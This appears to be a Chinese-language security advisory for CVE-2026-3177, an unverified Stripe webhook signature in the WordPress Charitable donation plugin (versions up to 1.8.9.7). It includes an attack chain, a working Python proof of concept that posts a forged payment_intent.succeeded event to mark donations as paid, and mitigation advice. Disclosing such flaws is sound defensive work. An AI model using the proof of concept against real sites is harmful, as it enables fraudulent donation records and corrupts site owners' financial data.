IPBUF安全漏洞报告
English
CVE-2026-3177 CVSS 5.3 中危

CVE-2026-3177 WordPress Charitable插件数据验证不足漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-3177
漏洞类型
数据验证不足
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Charitable – Donation Plugin for WordPress

相关标签

WordPressWebhook伪造StripeCVSS-5.3

漏洞概述

WordPress的Charitable捐赠插件在1.8.9.7及之前版本中存在数据验证不足漏洞。该漏洞源于处理Stripe Webhook事件时未验证请求的加密签名。攻击者可伪造支付成功的通知数据,无需认证即可将待处理的捐赠状态篡改为已完成,导致虚假捐赠记录,严重影响财务数据的完整性。

技术细节

该漏洞的根本原因是Charitable插件在处理Stripe支付网关的Webhook回调时,未对请求头中的Stripe-Signature进行HMAC签名验证。正常流程下,Stripe会对发送的Webhook数据进行签名,接收方需验证签名以确认数据来源的真实性。由于插件缺失此校验,攻击者仅需向/wp-json/charitable/v1/stripe/webhook接口发送构造好的JSON数据,模拟payment_intent.succeeded事件。攻击者可以在JSON中指定任意捐赠ID,插件接收后会误认为支付已到账,从而执行数据库操作将订单状态更新为已支付,实现无需付款即可完成捐赠流程的攻击效果。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站是否安装了受影响版本的Charitable插件。
STEP 2
武器化
攻击者构造一个伪造的JSON数据包,模拟Stripe的payment_intent.succeeded Webhook事件,并在其中指定待处理的捐赠ID。
STEP 3
交付
攻击者向目标网站的Webhook接收端点发送恶意的HTTP POST请求。
STEP 4
利用
插件接收请求后,由于未验证Stripe签名,直接信任数据内容。
STEP 5
影响
系统将对应的捐赠状态更新为“已完成”,攻击者无需实际付款即完成捐赠流程。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL of the vulnerable WordPress plugin's webhook endpoint target_url = "http://target-site.com/wp-json/charitable/v1/stripe/webhook" # Malicious payload mimicking a successful Stripe payment event # 'donation_id' corresponds to the ID in the WordPress database payload = { "id": "evt_fake_webhook_id_12345", "type": "payment_intent.succeeded", "data": { "object": { "id": "pi_fake_payment_intent", "metadata": { "donation_id": "123" }, "status": "succeeded", "amount": 5000 } } } headers = { "Content-Type": "application/json" # Note: The Stripe-Signature header is missing or not verified in the vulnerable version } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Webhook sent successfully. Donation potentially marked as completed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Charitable – Donation Plugin for WordPress <= 1.8.9.7

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器(如Nginx或Apache)层面对Webhook URL进行访问控制,仅白名单Stripe官方服务的IP地址。同时,应手动核对后台捐赠记录与银行流水,排查是否存在异常的已完成捐赠。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表